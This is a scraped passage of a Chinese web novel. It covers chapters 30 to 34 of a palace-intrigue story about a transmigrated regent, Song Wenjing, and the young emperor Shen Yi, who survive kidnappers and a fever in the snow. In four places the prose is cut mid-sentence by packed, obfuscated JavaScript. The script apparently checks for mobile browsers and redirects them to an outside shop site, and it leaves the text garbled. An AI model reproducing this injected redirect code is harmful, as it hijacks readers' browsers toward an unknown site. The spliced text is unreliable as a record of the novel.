宋闻璟紧张地握了握拳,静静地看着眼前黑衣人的一举一动,而身旁的车夫也跟着停下了手里的动作,连忙在旁边附和道:“各位爷,我们都是来赶路的,今晚就在这休息一晚,什么都没做,能否给条活路?” 几个黑衣人盯着两人看了看,又扭头对视一眼,轻点了下头,很快,原本被黑衣人围起来的两人,眼前便出现了一个缺口。 车夫大喜过望,一边嘴里说着好话,一边着急地往外走去。 宋闻璟也没想到,这些黑衣人会这么好心,简直觉得有点不可思议,可眼前唯一的生路,现在也顾不得思考太多。 两人走到门口,车夫心里还在无比庆幸自己大难不死回去还能吹一阵,却没想到一只脚踏出门槛,霎时,脖间一抹冰凉占据心头,如同一块薄冰贴在肌肤上,让人不禁一颤。 车夫愣了愣,脸上的表情瞬时僵住,眼中的余光小心翼翼地往旁边看去,不知何时,黑衣人拿着一把短小的匕首抵在车夫脖颈处,而刚刚还走在自己身旁的人又不知何时被弄晕丢在了后面,而此时站在自己身边的黑衣人扭头问道:“这人怎么办?” “杀了,随便找个地方扔出去。” 黑衣人点点头,随后手腕微微一动,一道血痕很快便展露在眼前,车夫听到回答,猛然心头一震,便开始黑衣人手里挣扎起来,皮肤传来的刺痛感,也把此刻的求生欲无限放大。 “等等!” 车夫反手握住黑衣人的手,苦苦挣扎道:“求求你,别杀我,别杀我,我真的什么都不知道,我就是出来赚点钱的,你们放过我吧,我保证绝对不会说出去……” 车夫还未说完,便觉得身后一阵剧痛,被硬生生打晕了过去,身后的黑衣人不满道:“收拾完快走,别耽搁时间。” “可是……” “一起带回去,说不定是个同伙呢。”另一个黑衣人又道。 “也对。” —— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13509724|133861||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 等宋闻璟醒来时,自己已经不在那间破败的房间里了,而是进了一家简朴普通的屋子里,屋子里周围的光线算不上明亮,只见几根蜡烛静静燃烧着,烛影映在墙上一晃一动。 宋闻璟一边打量着四周,一边下床向门口走去,门没有被锁,宋闻璟轻轻一推,门口便露出一条缝,门口没有守着人,宋闻璟从门缝向外偷看,很奇怪,有人想抓他,可到手了,看守却这么放松,难不成真就是吓唬吓唬人的,还是不小心抓错了? 愣了几秒后,宋闻璟刚推开门走到院子里,不多时,耳边便听到一阵讥笑:“怎么现在才醒?天都快亮了。” 宋闻璟疑惑,抬头闻声看去,不知何时,房顶上坐了一个人,走进仔细一瞧,才发现这人不是别人,正是应远在宫中的小皇帝。 “陛下怎么在这?”宋闻璟疑惑道,“陛下走了,宫里怎么办?” 沈翊笑笑:“这话不应该朕问你吗?朕刚不久给你解了足,又给你拨了粮草,现在皇叔就这么跑了?那皇叔欠下的账,朕要找谁来还?” 宋闻璟低头不说话,仔细想了想,其实欠的账也不差这一点了,可手里好像也确实没东西能还了,除了身上的这条命。 “那陛下还想要什么?” 沈翊漫不经心地抚了一下衣袖,散漫的话语中处处都是挑衅,他道:“朕想要什么,皇叔应该最是清楚,若皇叔真给得起,朕自然也受的起。” “什么意思?”宋闻璟愣了一下,忽然恍然大悟道:“是陛下安排的吗?那他们俩个人去哪了?” “怎么会呢?”沈翊居高临下地看着他,却又故作无辜道:“朕什么都没做啊,皇叔为何这么想朕,朕一无权二无势,顶多就是过过嘴瘾,哪敢对皇叔下手,再说,皇叔是不是还想给朕加个什么不好的罪名,再同以前一般,把朕丢进虎洞蛇窝?” 话罢,宋闻璟仰头看着房顶上懒散坐着小皇帝,心中并无多大的触动,只觉得怪不得原主能落得最后如此下场,不仅仅因为他可恨,更是因为这小皇帝太记仇,做过的每件每桩事,就连细微的小事,写下来也能出本书了。 见状,宋闻璟只好拱手行礼,说:“臣自是不敢。” “不敢?”沈翊道,“皇叔为何现在又不敢?” 宋闻璟低头着默了默,还未等开口说几句解释的措辞,便听见沈翊笑了一声,继续道:“皇叔不会当真了吧?现在这又没旁人,朕只是跟皇叔开个玩笑罢了。” “陛下。”宋闻璟顿了顿,又不禁重新发问道:“陛下怎么知道臣在这,陛下这般私自出宫,不应该只是来找臣开个玩笑吧。” 沈翊浅浅一笑,随之站起身,抬起头看着漆黑一片的夜空,突然开口道:“皇叔不相信朕?” 宋闻璟看着他,似有些琢磨不透,还没等缓过神,便见沈翊脚尖轻点从房顶落了下来,房顶距离地面并不远,沈翊稳稳落到地面,随后慢悠悠地走到宋闻璟跟前,附身贴近轻声道:“那皇叔想知道裴夏怎么样了吗?” 31.第 31 章 “裴夏?”宋闻璟皱了下眉,心里突然猛颤下,略显焦急道:“你把裴夏怎么了?裴夏去哪了?” 到这里,宋闻璟才彻底反应过来,小皇帝大半夜不在宫里好好睡觉,反倒稀奇地出现的这里,那肯定是别有所谋,可这个谋,为什么是裴夏,裴夏什么时候得罪过他? 宋闻璟一时间,将脑中琐碎的往事飞速地回忆了一遍,可想了半天,却还是没搜查到一星半点。 这时,沈翊看着他不断变化莫测的神情,不禁低头笑了笑,“紧张做什么?朕又说没把他怎么样。” 宋闻璟又道:“臣不知道裴夏怎么得罪了陛下,但臣还是希望陛下能大人不计小人过,给裴夏一次机会。” “为什么?”沈翊脑中不由得想起闪过从前宋闻璟对自己的所作所为,而现在却让自己学着大度,心中怒气更是直冲头顶,明明是一个卑劣无耻的小人却还要正义凛然的模样,真是虚伪透了,沈翊闭了闭眼,沉默片刻,将涌上心头的怒气和厌恶压下去后,眉眼一弯,薄唇含笑,看着宋闻璟不怀好意道,“朕既然下了旨意,又怎能轻易收回,如果真是纵容了裴夏,朕此后可怎么在文武百官面前树立威信?” 宋闻璟问:“那陛下想做什么?” “朕想做什么?”沈翊失笑,“朕也想问皇叔想做什么?皇叔这么焦急想去哪?忙着做什么?” 宋闻璟愣了下,一时不知该说什么,不能直接说,就是为了不见他才走的吧,这要是放在现代,这小皇帝还是他的上司,对上司说这么难听的话,第二天就可以收拾东西走了,更何况这是在古代,只怕这一句话,自己的命就得交代在这里了。 “陛下……”宋闻璟低下头,眼神飘忽不定在地面上来来回回游走,“臣只是觉得在王府待的有些闷,所以想出去走走,更何况高大人被派出去这么久,臣也想去看看进展如何了。” “真奇怪。”沈翊蹩起眉,故意刁难道:“朕怎没发现皇叔和高大人关系这么要好,而且从前皇叔对这种事不是从来都是不闻不问的,怎么现在事业心这么重?难不成是后悔了,想要将功补过?” “陛下……臣确实什么也没干。” 宋闻璟摇摇头,抬眸回对上沈翊那双疑心深重的眼睛,颇有些无奈。 沈翊只是笑笑,却不说话。 一阵寒风吹过,气氛越发阴冷,没过多久,宋闻璟再次开口询问裴夏的下落,沈翊却卖起关子道:“裴夏啊,其实朕也不知道他去了何处。” 宋闻璟一愣,“那陛下刚刚在骗臣,故意试探臣的?” “没有啊,朕明明就是在正大光明地问你。”沈翊道,“朕虽不知裴夏在哪,但现在应该还没死。” “什么?”宋闻璟一惊,“你想要了他的命?” 沈翊挑了下眉,缓缓开口:“怎么能说是朕要了他的性命,朕又没亲自动手,可皇叔不是想让朕大度一点吗?那朕也可以放过他,不过得需要看皇叔对朕是什么态度。” “什么意思?” 宋闻璟全身一僵,满眼不解地抬头看向沈翊,“裴夏做错了什么,让陛下必须除掉他。” “他没错,他一直都做的很好。”沈翊却道,“可朕就是看他不顺眼。” “不顺眼?”宋闻璟看着沈翊发亮漆黑的眼眸中映出自己的清晰面容,这一刻,宋闻璟好似也明白了,自己无论怎么去努力,无论怎么去改变过程,最后的结局从来都不会为此做出改变。沉默几秒后,宋闻璟冷笑出声,“陛下何必牵连旁人,冤有头债有主,可惜陛下从始至终都没给过臣一个机会。” “机会?” “好拙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13546411|133861||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 劣的借口。” “朕只想知道,朕说的条件,皇叔能不能做到?” 宋闻璟默了默,突然开口道:“如果臣能做到,陛下也能不能答应臣一件事。” “凭什么?”沈翊有些不满。 宋闻璟道:“不凭什么,只是想求陛下一件事。” 求,这个字,很稀奇。 更是因为是从宋闻璟嘴里说了出来,这便更增长了价值。 “哦?”沈翊心中一愣,随后嘴角微微扬了一下,语气也跟着不自觉柔和起来,“什么事,还要皇叔大费周章地来求朕?” 宋闻璟道:“臣要官复原职。” 话音刚落,沈翊一时没反应过来,脸上的表情都跟着僵住了。 —— 另一边,裴夏没有走掉,他也没想过,从前的场景,他又重新经历了一边。 江一没打算放过他,在自己还未走出三米,江一便急忙追上他,裴夏不想与他太过纠缠,躲躲闪闪地跑了一路,谁知这是在逼自己走向设好的陷阱里。 突然从树上落下的黑衣人,将裴夏围了个圈,江一站在一旁不说话,也不再看他,直到裴夏精疲力尽,再无还手之力,江一也没多看他一眼。 裴夏不知道自己去了哪,等再睁眼时,江一又假惺惺地来看他,并告诉他,“我们马上就回京,自此,再没有能束缚我们了。” 裴夏不答,却问他:“我家主子在哪?” 江一摇摇头,“我不知道。” 裴夏淡淡道:“那没事了。” 江一没再说什么,推门走了出去。 十多年的久别重逢,好似让两人之间的隔阂更深了,裴夏回想起从前儿时的记忆,就好似在祭拜一个死去的故人,心里五味杂陈,一瞬间不知是该是悲,还是喜。 32.第 32 章 “嗯?”宋闻璟一时没反应过来,看着沈翊愣了几秒,也没怀疑上沈翊,只觉得难不成自己睡觉还会梦游了吗?没细想,宋闻璟点点头,昏沉的脑袋只想着换个地方再睡会,却没想到刚站起身眼前蓦地一黑,随着一阵天旋地转,整个身子也跟着软了下去。 宋闻璟只觉得脑袋好沉,像顶着一块巨大的石头,而脚下却像踩着一团一团的棉花,浑身上下根本用不上力气。马车空间不大,看着宋闻璟在自己眼前栽下去,沈翊下意识地伸出手接了下来。 而此时,怀里的人也不如平常般安静,宋闻璟皱起眉,嘴边是一阵一阵抑制不住的咳嗽声,一声比一声剧烈,一声一声比用力,好像要硬生生将心咳出来,沈翊看着这一场景也有点镇住了,过了几秒钟缓过神之后,便摸了摸宋闻璟身上有没有带药,可摸了一顿,药没摸出来,沈翊不禁疑惑这人是不是还没看透自己的这副弱不禁风的样子,出门居然一点药不带。 而宋闻璟也不知道自己是怎么回事,原本出门还好好的,不过过了一晚,现在又变成了这副样子,他缓了一口气从沈翊怀里探出头,沈翊的面容像胧上一层薄雾在眼前模糊不清,宋闻璟闭了闭眼,随后一动不动地盯着他,看不清沈翊在干什么,在说什么,只觉得脸上一阵柔软冰凉的触感,如同夏日的井水洒在脸上,带走了一部分热量。 沈翊没办法,他可不会治病救人,怀里的宋闻璟也清醒了没有多久,便又重新闭上眼。 几人又走了一段路,外面,车夫心不在焉地驾着车,时不时还打个哈欠,心想着到了镇上,便找个理由开溜,这几个人他可招惹不起。 天空阴沉沉的,冷风总是一阵一阵的吹着,车夫裹了裹身上的衣服,耳边落雪声,风声交织在一起,可突然一阵微弱动物的叫声也在其中掺杂,车夫心中起疑,注意力也被这一阵微弱的叫声吸引了过去。 不过一会儿,沈翊感觉马车的速度逐渐满了下来,刚想开口质问,却不想外面的车夫直接闯了进来,二话不说的就扒着沈翊道胳膊,惧怕道:“大人,走不了了,有狼。” 沈翊皱了皱眉,“怎么可能?” 车夫猛地点头,“小人虽没见过,但确实听人说过,大人,你可得救救我啊。” 车夫一边抹着眼泪,一边扒着沈翊的胳膊不放手,沈翊也觉得确实奇怪,这种地方并不是类似深山,狼这种动物出现在这,那周围的镇子的人却依旧不见少。 想罢,沈翊挣开他起身走了出去,随之,车夫愣愣的坐在一旁,嘴里还念念有词地说着什么。 而外面,狼的吼叫声似乎越来越近,沈翊顿了顿,周围突然安静了片刻,而从旁边粗壮的大树后面,突然跑出来一只黑黄色的大狗,朝沈翊扑过来,沈翊侧身躲过,大狗扑了空,转过身又朝他“汪汪”叫了两声。 大狗眼神凶狠,尾巴在后面轻轻一晃,吐出舌头,一人一狗相互对望,远处狼的吼叫声还没有停,而眼前的大狗好似听到了指令,也跟着长吼了一声,这叫声乍一听竟跟狼叫有三分相似。 沈翊一惊,随后不知什么时候从远处又慢悠悠走来一只,但只却不是大狗了,而是真正一头狼。 不过这头狼似通人性,就只是盯着沈翊看,并没有露出獠牙发起进攻的意思。 沈翊尝试往前迈出一步,大狗又张口叫了两声,这叫两声也将人引了过来。 “你是什么人?” 沈翊抬头看见一群人走来,而为首的是个瘦弱的年轻人,一副文质彬彬的样子,明明看着像个书生,身后却跟着一群小混混。 “我只是来赶路的。” “赶路?”年轻人笑笑,“原来是这样,那真是不好意思,妨碍到这位小兄弟了。” “无妨。”沈翊扭头又看了一狗一狼一眼,随后也不想惹上麻烦,便打个招呼,想继续赶路,“那在下就不打扰阁下雅兴了,在下先走一步。” 沈翊轻轻点了下头示意,却没想到那人又打断道:“小兄弟,何必这么着急?天这么冷,不如去我那坐坐?” 年轻人蹲下身摸了摸凑过来毛茸茸的大狗的脑袋,或许是因为天冷了,大狗身上的毛看着特别旺盛,摸起来柔柔软软,还留着一抹温热。 "不必。"沈翊摇摇头,随后转身向前走去。 “哼。”年轻人站起身,又道:“小兄弟,我觉得你长的有点眼熟,像......” “那你一定是看错了。”沈翊动作一顿,随后刚想往前走,一股莫名的拉力将他使劲往后拖去,沈翊低下头,那只大狗用力地咬着自己的下摆不撒口。 “阁下这是想做什么?”沈翊不解。 年轻人浅浅一笑,“我看是他不想让你走。” 沈翊用力扯了扯自己的下摆,一瞬间,下摆被狗咬了一块去,但沈翊还没来及发泄不满,年轻人不知何时瞬移到自己旁边,手中的一把匕首便架在沈翊脖子上压出一道红痕。 “阁下这是想做什么?”沈翊问。 年轻人轻笑道:“陛下,别再装下去了。” 沈翊一听,心里一顿,瞬间便来了兴趣,“你知道?” “谁不知道啊?”年轻人抬手又逼近了一点,“不过也巧,陛下到了我的地盘上。” “你的地盘?难不成你是山匪?” “山匪?”年轻人摇摇头,“陛下可真是贵人多忘事,竟连我也给忘了。” 沈翊沉默思索起来,而面前的面孔还是陌生。 “我不认识你。” 年轻人不说话了,随后收起匕首,笑道:“陛下真是贵人多忘事,但不记得也没关系,我可以帮陛下回忆一下。” 说罢,年轻人一声令下,将三人都给带走了,而在远处的树枝上,一个黑衣人正默默注视着刚刚发生的一切。 —— 不知何处的房间里,年轻人一甩袖,吩咐下人道:“看好点,我去报信。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13603250|133861||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 下人点点头,随后站守在门口。 房间里,车夫泪流不止,可惜只是出了趟门就经历几起大风大浪,这心直接悬在空中就没下来过,他小心翼翼地走到两人身旁,挨个问道:“我们这次还能不能出去了,还会有人来救我们吗?” 不出意外,两人皆是摇摇头,车夫心中一凉,眼泪就像断了线的珠子一个劲的往下流。 宋闻璟看着他哭的那么伤心,哭声瞬间吵的脑袋更疼了,他叹了口气,继而转头望向沈翊道:“你不是带人来的吗?他们怎么还不来救人?” “我没带人。”沈翊晃了晃头,说的风轻云淡道:“我哪有人带,都是花钱雇的一晚,现在早就拿钱走人了。” “什么?”宋闻璟一愣,“那......我们怎么办?” “不知道,我想你出门也不应该只带了裴夏这一个人吧。”沈翊反问道。 “我......”宋闻璟勉强笑了笑,其实本来连裴夏都不想带的,“确实。” “那现在只能一起坐着等死了。”沈翊找个地方坐下来,随后又问道:“你认识外面那个人?他好像认识我?可我不记得见过他。” 宋闻璟有些心虚,道:“我也不知道。”说实话,这里面很多人自己都没认清,看过又怎么样,这剧情根本就不是偏的一星半点,到时候还得随机应变。 “确实奇怪。”沈翊沉思道。明明是第一次来,为什么就碰到了一个认识自己的人? 旁边的宋闻璟看了他一眼,随后抬起头看着房梁飘了神,直到看到眼睛酸涩才闭上眼,房间里重新安静下来,只有旁边车夫断断续续的哭声和低声的碎碎念。 不过一会儿,那年轻人又重新回来了,他道:“你们两个人还真是让我占了便宜,我还以为有多厉害了呢。” “我已告诉我叔伯,不出三日,你们就一同去天上团聚吧。” 年轻人扬了扬下巴,得意道。 “你叔伯是谁?”沈翊问。 “你怎么还意思问,要不然因为你,我怎么会在这穷乡避让躲着,都是你害的,你无能根本就当不上皇帝。”年轻人有些气愤,随后又指向宋闻璟,“你们跟先帝同流合污害我家破人亡,最是恶心。” “你们做的,我这辈子都不会忘记。” 沈翊看他气红的脸,更觉得好奇了,这个人会是谁呢? 宋闻璟听着年轻人说的话,脑子开始翻找这本书里的残存的记忆,谁被先帝害了家破人亡?这本书后面发生的故事到底还有什么? 一切的线索又都指向谁? 宋闻璟只觉得这本书开始出现了断层,一切的变故好似又都指向一个未知的事件。 还没等宋闻璟理完这一切,便看见刚刚还在趾高气昂的年轻人瞬间倒下了,沈翊也在下一秒踏出房门,不见了身影。 宋闻璟站起身刚想追过去,却没想到刚出门口,就被人从后面拽上了屋顶。 33.第 33 章 房顶距离地面很高,宋闻璟一时没反应过来,整个人便站在房顶上,往下看,悬空感便越发强烈,一个心也跟着紧紧悬在半空中,宋闻璟只感觉晕的厉害,好似下一秒自己便就从上面坠了下去。 “你怕了?” 熟悉的声音从头顶传来,宋闻璟愣愣抬头,“你……” “我怎么了?”沈翊不解地挑了下眉。 宋闻璟突然不说话了,看着沈翊得意的眼神,不禁疑惑沈翊什么时候会飞了?而且还能飞的这么高?是不是偷偷背着柳溪偷学的?而这位高人又是谁? 没等到宋闻璟的答复,沈翊瞬间放开放在宋闻璟后腰上的手,又悄悄往后退了几步,双手抱在胸前,神气道:“这么盯着朕做什么?朕救了你的命,你不该磕头道谢吗?” “确实。”宋闻璟摇了下头,继续道:“臣自然是该好好感谢陛下,但陛下这一身功夫是跟谁学的,臣居然不知道陛下还拜了旁人为师?” “你什么意思?”沈翊一甩手,不屑道:“朕好心救你,你不磕头道谢反倒还来质问朕,朕不管你了。” 说罢,沈翊转过身,默了默,又道:“马上有人就来了,你等他们接你下去吧,朕先走了。” “不是,等......”看着沈翊不像是装得,宋闻璟确实慌了,他下意识抓住了沈翊的衣角,有些慌乱道:"我......我不是这个意思,我......就只是单纯问问。" “那又怎么样,朕就是不想管你。”沈翊微微转过身,看着因高烧将眼眶烧的发红委屈又可怜的宋闻璟,心里不禁一愣,从前见惯了宋闻璟在朝堂上的雷厉风行和心狠手辣,而现在的宋闻璟更像一只因吃不到别人投喂小鱼而委屈巴巴的小猫,让人莫名感到一阵心疼。 但沈翊却不这么想,这样的宋闻璟就如同一只被自己拿捏在手里的蚂蚁,这种好的机会,怎么会轻易错过? 宋闻璟看着他,语气渐渐软了下来,道:“那我给你道歉行不行,这次是我不对,下次......以后我都不问了,这样行不行?” “当然不行。”沈翊立马打断道,“这么简单?” 宋闻璟不解:“那......那还要怎么样?” “你......” 沈翊笑了笑,还没等话从嘴里说出来,后背就被人用小石子不轻不重地打了一下,随后小石子掉在瓦片上,发出一阵清脆的声音,沈翊转身往后看了一眼,随后抱起宋闻璟跳了下来,不等宋闻璟问个三二一,沈翊便拉着他跑了起来。 宋闻璟往后看了一眼,喘着粗气道:“还有一个人呢。” 沈翊不说话,过了良久,两人找到了一个被开了锁的后门,沈翊推开门,刚想往外走,宋闻璟突然拉住他又重新问了一遍,“那车夫还在里面,我们不管他了吗?” “谁?”沈翊蹩眉道。 宋闻璟有点焦急,立马道:“你把他忘了。” 沈翊笑笑:“你知道这门是怎么开的吗?你说的那个人早就跑了,人家又不傻,开了门不知道跑吗?” “嗯?”宋闻璟愣了一下,脑子迷迷糊糊的,半晌才回过神,道:“原来他早就出去了。” 沈翊配合地点点头,随后转身小声嘟囔了一声道:“真是烧傻了,那人早就自己跑了出去,朕怎么知道去了哪。” 看着沈翊自顾自的往外走,宋闻璟也立马跟在身后走了出去,甚至最后还不忘将门随手再关上。 两人出来时,天色渐渐黑了下去,没了马车,两人只能趁着还有些光亮想尽快赶到附近的镇子里,但沈翊却发现根本行不通,自己总是在前面走着走着,后面的宋闻璟就渐渐没了声,而往后一看,人都不知道被落在哪里了,沈翊一来二去,走出的那段距离,和宋闻璟比起来,像是整整多了两倍。 随后在沈翊又拉又拽的努力下,两人也磨磨蹭蹭终于走出一段距离,而周围彻底黑了下来,温度也跟着直线下降,晚风吹在脸上像块冰在脸上来回摩擦,凉的透心。 但宋闻璟不觉得,这阵风像是夏日吃的冰块,吃进去又凉又舒服,甚至自己还想躺在雪堆里不起来了。 折腾了一天,宋闻璟也没精力继续往前走了,两眼一闭像撒泼一样躺在雪地里,就跟沈翊道:“走不动了,在这睡了。” 沈翊看着他没说话,甚至还捧了两把雪盖在宋闻璟身上,宋闻璟也没感受到,人一躺就好似放松了所有警惕,一动不动地睡了过去,只听到浅浅的呼吸声。 不知过了多久,宋闻璟也不知道自己到底睡没睡着,浑身又疼又难受,像被人活生生打了一顿,想翻个身,身上又好像被压着一块大石头,让人动弹不得,就这么躺了一会儿,宋闻璟意识朦胧着,身体好似被人拉了起来,突然的腾空感宋闻璟感觉自己已经飞去了天堂,不过一会儿,自己又好像趴在了从前香香软软的床上,莫名熟悉的亲切感,宋闻璟不自觉地笑了笑,随后安心地趴在自己的床睡了过去。 沈翊好不容易把宋闻璟背了到了个能容身的山洞里,谁料那人睡觉就睡觉吧,口水还流了自己衣服上,沈翊有点嫌弃,但也不能不穿抗冻吧? 纠结了两秒,沈翊毅然决然地走出山洞,随后拿手吹了个口哨,一个黑影随之出现在眼前,还未等眼前的黑衣人先开口说话,沈翊便解开自己外面的披风 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13617031|133861||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 丢在那黑影的脸上道:“你拿雪给朕洗干净。” “?”黑衣人还未等反应过来,抬头便看见沈翊离去的背影。可是宫里不是只教他本事,让他好好辅佐小皇帝吗?怎么洗衣服还算其中一项? 黑衣人拿着从小皇帝身上扔下来的披风,整整齐齐地铺在雪上随后也不管三七二十一的拿着雪来回擦了擦去,干不干净不知道,但表面功夫做到了,沈翊拿回去跟拿过去没两样,都一样脏。 黑衣人又给沈翊点了火,刚想走,沈翊便突然问他:“江一到哪了?” 黑衣人道:“已经快回京了,差不多还有一天时间吧。” “行动还挺快。”沈翊道。 “时间也差不多了,你们看着办,其他人呢?” 黑衣人道:“都跟好了。” 沈翊想了想,随后摆了摆手,黑衣人下一秒又在眼前消失。 山洞里,“噼里啪啦”木柴燃烧的声音显得格外清晰,沈翊拿木棍心不在焉地摆弄着火堆,寒风在耳边呼啸不停,像一头猛兽咆哮,将黑夜衬着各外骇人。 直到到了半夜,沈翊刚刚闭上眼,有了睡意,耳边又传来一阵断断续续哼唧的声音,沈翊睁开眼,有些烦躁地往旁边看去,却发现旁边宋闻璟脸上的红更深了,像泼上的血,沈翊突然有点后悔,怎么忘了让那黑衣人弄点药回来,要是宋闻璟现在死了,还是和自己待在一起,这还是确实说不清。 更何况,这政局还未稳定,宋闻璟要是这个时候死了,还不知道这后面会发生什么,而自己刚刚建立起的一点势力也会被轻易瓦解。 想到这,沈翊还是不情愿地坐起身,伸手摸了摸宋闻璟烧的通红的脸,滚烫的不行。沈翊而后又拍了拍地宋闻璟的脸,想看看宋闻璟还有没有意识,看看能不能把人给叫起来。 但宋闻璟除了会哼唧两声,皱皱眉,其他多余的动作也没有,沈翊没办法,掐了掐宋闻璟的人中,好不容易把宋闻璟弄醒了,可宋闻璟脑子迷糊的厉害,梦里也不知道梦到了什么,睁开眼看见沈翊就傻笑了两声,而后又重新闭上了眼。 沈翊有点生气,又有点着急,空口喊了几声,见宋闻璟没反应,沈翊叹了几口气,随后又强迫自己冷静下来,将宋闻璟重新放了下来。 沈翊朝洞外看了看,树林里又没有现取的药材,即使有也是费时间,想来想去,沈翊还是只好先给宋闻璟用雪试试能不能降降温,算着时间应该马上就要出太阳了,沈翊忙前忙后,直到天边露出一点白边,宋闻璟身上倒是降下去一点温度,沈翊一夜没睡,眼边直接黑了一圈。 现下也不再管旁的事,直接闭眼躺在旁边睡了。 34.第 34 章 眯了没多久,林中又传来一串脚步声和嘈杂的交谈声,沈翊猛然睁开眼瞬间清醒了不少,害怕是被那些人追上来,沈翊刚想拉起宋闻璟继续往前走,却没想到,随着耳边的声音越来越近,沈翊莫名觉得这声音有点熟悉。 “这里不行,这里也不行。” “那哪里可以?我们都来这里这么久了,现在连半分进展都没有。” “这......这我也不知道,但你也别着急,肯定有个好地方是我们没找到。” “可是公子,我们都转了好几圈了,也把地势都在纸上画了出来,要不然就找个差不多的位置吧,应该也没有太大问题。” “这怎么行,如果这时修建不好,到了下一次大水再发,那不是损失更大吗?而且你觉得我们还能像这般站在这里说话吗?那小皇帝还不得狗急跳墙,拿我们当磨刀石用?” "这......" 两人你一言我一句地往前走,丝毫没察觉到前面沈翊,直到两个被团的圆滚滚又结结实实的雪球砸在两人的头顶上,两人不禁被吓了一跳往后推了半步,随后吃痛地抬手摸了摸被雪球砸到的地方,随后一脸气愤地抬起头就要咒骂那个不长眼的在这乱扔,真是没有礼貌。 话刚要从嘴里冒出来,眼睛却在看到眼前人之后,两人默了两秒,随后又将堵在嘴边的脏话硬生生地咽了回去。 沈翊看着两人眉眼一弯,对着两人笑了笑,随后呼出的一口气,一缕薄雾也随之将沈翊脸上的笑意模糊的遮起来,直到薄雾被风吹散,沈翊的脸上的笑也消失的一干二净。 “高大人,怎么又是你?” “你不好好去完成朕交给你的任务,在这胡言乱语什么,朕可没记得朕说过这些话。” “陛下......”高颉一愣,随后一脸不可置信看眼前的人,全身也跟着蓦地都僵住了,就连手里的图纸差点掉在地上,幸好旁边的下人眼疾手快接住了。高颉真不敢相信眼前的人是真的小皇帝,小皇帝怎么会在这?这里条件这么差,小皇帝有什么想不开的? “陛下......真的假的?”高颉回过神,用胳膊肘悄悄戳了戳旁边人下人的胳膊,低声道:“这人真的假的,是不是来抢钱糊弄我们的呢?” “公子,这......您不应该比我了解吗?”小厮扭头瞧了瞧沈翊,又低声道:“这人确实很像,但陛下真的来了吗?不会是来视察的吧,那我们完了。” “怎么会?”高颉一把揽过小厮的肩,低着头一脸正经的当做没看到沈翊,悄悄往前走了几步,小声道:“陛下怎么会来呢,陛下政务繁忙,而且我办事陛下还能不放心,肯定是觉得我好,陛下才会把这事交给我,真的,你太不懂陛下了,陛下......” “高颉。” 看着高颉慢慢从自己身边走过,又渐渐加快步子,沈翊慢悠悠地又喊了他一声,声音传进高颉的耳朵,一瞬间,高颉也不装了,转过身双膝一弯便直直跪在了地上,旁边的小厮看着,也立马跪在地上跟着高颉一起磕了个头。 “皇上,臣真不是故意的,这真不是臣想说的......” 沈翊头一扭,袖子一甩,双手抱在胸前,小脸不满道:“朕也没想到高大人有好大的本事,还能预测朕的话。” “冤枉啊,陛下,臣真不是故意的......”高颉又磕了个头,直起身,满脸笑着讨好道:“陛下来怎么没人来通知臣,臣好准备准备去迎接啊。” “行了。”沈翊道,“朕也不是来找你的。” “啊?”高颉动作一顿,随后又试探问道:“那......那陛下是来找孔左的吗?陛下,不必担心,臣和孔大人已经在尽快修建了。” “孔左?”沈翊低声默念了一遍,又问道:“确实,怎么就你一个人出来了,那孔左呢?” 高颉道:“在村子里呢,村子里人手不够,孔左留在那帮忙呢。” “那......陛下要去看看吗?” 高颉磨磨蹭蹭地说出来,心里还挺不情愿的,村里条件并不好,而且自己的任务连苗头都没有,去了免不了一顿骂,但为了客气一下,还是提了一嘴,只要这小皇帝一摇头,高颉便立马蹦起来把人高高兴兴地送出去。 “先等一下。”沈翊道,高颉疑惑:“什么?” 沈翊道:“真不是一个人来的,朕和皇叔一起来的,不过路上出了意外,我们迷路了,皇叔又发了高烧,现在还没醒呢,你......” “什么?!” 高颉一听宋闻璟也来了,人一激灵,瞬间清醒了不少,刚刚明明还跪在地上蔫了吧唧的,现在立马跟个鱼一般,身子一直便连忙从地上爬了起来。 “人在哪呢?”高颉略显焦急问道。 沈翊道:“就在前面不远。” 